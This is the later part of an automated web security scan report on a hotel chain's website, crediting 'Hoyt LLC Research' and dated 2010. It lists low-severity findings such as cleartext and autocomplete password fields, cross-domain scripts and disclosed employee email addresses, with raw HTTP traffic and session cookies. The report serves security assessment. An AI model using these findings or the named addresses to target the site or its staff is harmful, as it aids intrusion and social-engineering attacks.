<form name="inTouchSignInform" method="POST" action="/intouch/InTouchSignInProxy.aspx" id="inTouchSignInform">
   <div id="inTouchSignIn">
...[SNIP]...
</label>
           <input type="password" name="strPass" id="kitPw" size="20" />

           <input type="image" class="submit" src="/assets/btn_miniapp_signin.gif" border="0" alt="Kimpton InTouch Sign In" />
...[SNIP]...

4.8. http://www.kimptonhotels.com/programs/red-ribbon.aspx previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.kimptonhotels.com
Path:	/programs/red-ribbon.aspx

Issue detail

The page contains a form with the following action URL:

http://www.kimptonhotels.com/intouch/InTouchSignInProxy.aspx

The form contains the following password field with autocomplete enabled:

strPass

Request

GET /programs/red-ribbon.aspx HTTP/1.1
Host: www.kimptonhotels.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WT_FPC=id=174.121.222.18-1431159328.30107607:lv=1287681387317:ss=1287681387317; ASPSESSIONIDQSBADAST=HOHNDECAFOJHGLJDEGOIDEFK; ASP.NET_SessionId=x2krz4qwwvcfy4q2gshvcg55;

Response

HTTP/1.1 200 OK
Connection: close
Date: Thu, 21 Oct 2010 20:18:17 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 88716

<!doctype html public "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Kimpton Hotels & Restaurants - Kimpton Programs - Kimpton Cares</title>
<meta http-equiv="Content-Type" c
...[SNIP]...

<form name="inTouchSignInform" method="POST" action="/intouch/InTouchSignInProxy.aspx" id="inTouchSignInform">
   <div id="inTouchSignIn">
...[SNIP]...
</label>
           <input type="password" name="strPass" id="kitPw" size="20" />

           <input type="image" class="submit" src="/assets/btn_miniapp_signin.gif" border="0" alt="Kimpton InTouch Sign In" />
...[SNIP]...

5. Cleartext submission of password previous next
There are 8 instances of this issue:

/
/development/future-development.aspx
/development/kimpton-development.aspx
/development/management-services.aspx
/hotels/factsheets/nine-zero-hotel-boston/
/hotels/hotels-boston.aspx
/hotels/hotels.aspx
/programs/red-ribbon.aspx

Issue background

Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defense and monitor the traffic passing through switches.

Issue remediation

The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.

5.1. http://www.kimptonhotels.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kimptonhotels.com
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.kimptonhotels.com/intouch/InTouchSignInProxy.aspx

The form contains the following password field:

strPass

Request

Response

5.2. http://www.kimptonhotels.com/development/future-development.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kimptonhotels.com
Path:	/development/future-development.aspx

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.kimptonhotels.com/intouch/InTouchSignInProxy.aspx

The form contains the following password field:

strPass

Request

Response

5.3. http://www.kimptonhotels.com/development/kimpton-development.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kimptonhotels.com
Path:	/development/kimpton-development.aspx

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.kimptonhotels.com/intouch/InTouchSignInProxy.aspx

The form contains the following password field:

strPass

Request

Response

HTTP/1.1 200 OK
Connection: close
Date: Thu, 21 Oct 2010 21:00:41 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 68973

<!doctype html public "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Kimpton Hotels & Restaurants - Kimpton Development</title>
<meta http-equiv="Content-Type" content="text/
...[SNIP]...

<form name="inTouchSignInform" method="POST" action="/intouch/InTouchSignInProxy.aspx" id="inTouchSignInform">
   <div id="inTouchSignIn">
...[SNIP]...
</label>
           <input type="password" name="strPass" id="kitPw" size="20" />

           <input type="image" class="submit" src="/assets/btn_miniapp_signin.gif" border="0" alt="Kimpton InTouch Sign In" />
...[SNIP]...

5.4. http://www.kimptonhotels.com/development/management-services.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kimptonhotels.com
Path:	/development/management-services.aspx

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.kimptonhotels.com/intouch/InTouchSignInProxy.aspx

The form contains the following password field:

strPass

Request

Response

5.5. http://www.kimptonhotels.com/hotels/factsheets/nine-zero-hotel-boston/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kimptonhotels.com
Path:	/hotels/factsheets/nine-zero-hotel-boston/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.kimptonhotels.com/intouch/InTouchSignInProxy.aspx

The form contains the following password field:

strPass

Request

Response

5.6. http://www.kimptonhotels.com/hotels/hotels-boston.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kimptonhotels.com
Path:	/hotels/hotels-boston.aspx

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.kimptonhotels.com/intouch/InTouchSignInProxy.aspx

The form contains the following password field:

strPass

Request

Response

5.7. http://www.kimptonhotels.com/hotels/hotels.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kimptonhotels.com
Path:	/hotels/hotels.aspx

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.kimptonhotels.com/intouch/InTouchSignInProxy.aspx

The form contains the following password field:

strPass

Request

Response

5.8. http://www.kimptonhotels.com/programs/red-ribbon.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kimptonhotels.com
Path:	/programs/red-ribbon.aspx

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.kimptonhotels.com/intouch/InTouchSignInProxy.aspx

The form contains the following password field:

strPass

Request

Response

6. Cross-domain POST previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kimptonhotels.com
Path:	/hotels/factsheets/nine-zero-hotel-boston/

Issue detail

The page contains a form which POSTs data to the domain www.opentable.com. The form contains the following fields:

RestaurantID
PartySize2
PartySize2
PartySize2
PartySize2
PartySize2
PartySize2
PartySize2
PartySize2
startDate
ResTime2
ResTime2
ResTime2
ResTime2
ResTime2
ResTime2
ResTime2
ResTime2
ResTime2
ResTime2
ResTime2
ResTime2
ResTime2
ResTime2
ResTime2
ResTime2
ResTime2
ResTime2
ResTime2
ResTime2
ResTime2
ResTime2
ResTime2
ResTime2
ResTime2
ResTime2
ResTime2
ResTime2
ResTime2
ResTime2
ResTime2
ResTime2
ResTime2
ResTime2
ResTime2
ResTime2
ResTime2
ResTime2
ResTime2
ResTime2
ResTime2
ResTime2
ResTime2
ResTime2
ResTime2
ResTime2
ResTime2

Issue background

The POSTing of data between domains does not necessarily constitute a security vulnerability. You should review the contents of the information that is being transmitted between domains, and determine whether the originating application should be trusting the receiving domain with this information.

Request

Response

7. Cross-domain script include previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kimptonhotels.com
Path:	/hotels/factsheets/nine-zero-hotel-boston/

Issue detail

The response dynamically includes the following script from another domain:

http://www.opentable.com/r/?rid=2225

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

Response

8. Email addresses disclosed previous next
There are 3 instances of this issue:

/development/future-development.aspx
/development/management-services.aspx
/hotels/factsheets/nine-zero-hotel-boston/

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

8.1. http://www.kimptonhotels.com/development/future-development.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kimptonhotels.com
Path:	/development/future-development.aspx

Issue detail

The following email address was disclosed in the response:

stacy.faison@kimptongroup.com

Request

Response

8.2. http://www.kimptonhotels.com/development/management-services.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kimptonhotels.com
Path:	/development/management-services.aspx

Issue detail

The following email address was disclosed in the response:

joe.long@kimptongroup.com

Request

Response

8.3. http://www.kimptonhotels.com/hotels/factsheets/nine-zero-hotel-boston/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kimptonhotels.com
Path:	/hotels/factsheets/nine-zero-hotel-boston/

Issue detail

The following email addresses were disclosed in the response:

concierge@ninezerohotel.com
sales@ninezerohotel.com

Request

Response

HTTP/1.1 200 OK
Date: Thu, 21 Oct 2010 20:20:34 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 190994

<!doctype html public "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Kimpton Hotels: Boutique Hotels and Luxury Travel</title>
<meta content="text/html; charset=iso-8859-1" http-
...[SNIP]...
<a href="mailto:concierge@ninezerohotel.com" target="_blank">
...[SNIP]...
<a href="mailto:sales@ninezerohotel.com" target="_blank">
...[SNIP]...
<a href="mailto:sales@ninezerohotel.com" target="_blank">
...[SNIP]...
<a href="mailto:concierge@ninezerohotel.com" target="_blank">
...[SNIP]...
<a href="mailto:concierge@ninezerohotel.com" target="_blank">
...[SNIP]...
<a href="mailto:concierge@ninezerohotel.com" target="_blank">
...[SNIP]...
<a href="mailto:concierge@ninezerohotel.com" target="_blank">
...[SNIP]...
<a href="mailto:sales@ninezerohotel.com" target="_blank">
...[SNIP]...
<a href="mailto:sales@ninezerohotel.com" target="_blank">
...[SNIP]...

9. Robots.txt file previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kimptonhotels.com
Path:	/favicon.ico

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: www.kimptonhotels.com

Response

HTTP/1.1 200 OK
Content-Length: 29
Content-Type: text/plain
Last-Modified: Tue, 01 Sep 2009 17:32:17 GMT
Accept-Ranges: bytes
ETag: "32cdae262a2bca1:7837"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Thu, 21 Oct 2010 20:17:29 GMT
Connection: close

User-agent: *

Disallow:

10. HTML does not specify charset previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kimptonhotels.com
Path:	/development/development-standards-legal.html

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

Request

Response

11. Content type incorrectly stated previous
There are 2 instances of this issue:

/hotels/factsheets/nine-zero-hotel-boston/_js/slideshow.js
/hotels/factsheets/nine-zero-hotel-boston/images/ko_prime_logo.gif

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

11.1. http://www.kimptonhotels.com/hotels/factsheets/nine-zero-hotel-boston/_js/slideshow.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.kimptonhotels.com
Path:	/hotels/factsheets/nine-zero-hotel-boston/_js/slideshow.js

Issue detail

The response contains the following Content-type statement:

Content-Type: application/x-javascript

The response states that it contains script. However, it actually appears to contain HTML.

Request

GET /hotels/factsheets/nine-zero-hotel-boston/_js/slideshow.js HTTP/1.1
Host: www.kimptonhotels.com
Proxy-Connection: keep-alive
Referer: http://www.kimptonhotels.com/hotels/factsheets/nine-zero-hotel-boston/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=ozvjv545zgoi0a45zqh0rf55; WT_FPC=id=174.121.222.18-1431159328.30107607:lv=1287681584319:ss=1287681387317

Response

HTTP/1.1 200 OK
Content-Length: 1670
Content-Type: application/x-javascript
Last-Modified: Tue, 09 Feb 2010 16:40:37 GMT
Accept-Ranges: bytes
ETag: "a81a8a9ba6a9ca1:7837"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Thu, 21 Oct 2010 20:20:43 GMT

<!--
// Create the slideshow object
ss = new slideshow("ss");

// Set the delay between slides, 1000 = 1 sec
// ss.timeout = 3000;

// By default, all of the slideshow images are prefetched.
/
...[SNIP]...

11.2. http://www.kimptonhotels.com/hotels/factsheets/nine-zero-hotel-boston/images/ko_prime_logo.gif previous

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.kimptonhotels.com
Path:	/hotels/factsheets/nine-zero-hotel-boston/images/ko_prime_logo.gif

Issue detail

The response contains the following Content-type statement:

Content-Type: image/gif

The response states that it contains a GIF image. However, it actually appears to contain a JPEG image.

Request

GET /hotels/factsheets/nine-zero-hotel-boston/images/ko_prime_logo.gif HTTP/1.1
Host: www.kimptonhotels.com
Proxy-Connection: keep-alive
Referer: http://www.kimptonhotels.com/hotels/factsheets/nine-zero-hotel-boston/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=ozvjv545zgoi0a45zqh0rf55; WT_FPC=id=174.121.222.18-1431159328.30107607:lv=1287681584319:ss=1287681387317

Response

HTTP/1.1 200 OK
Content-Length: 3649
Content-Type: image/gif
Last-Modified: Tue, 09 Feb 2010 16:38:11 GMT
Accept-Ranges: bytes
ETag: "9a1e7d44a6a9ca1:7837"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Thu, 21 Oct 2010 20:21:14 GMT

......JFIF.....d.d......Ducky.......F......Adobe.d......................................
. .

.....
...........................

.............................................................L.}..
...[SNIP]...

Report generated by Hoyt LLC Research at Thu Oct 21 21:02:38 CDT 2010.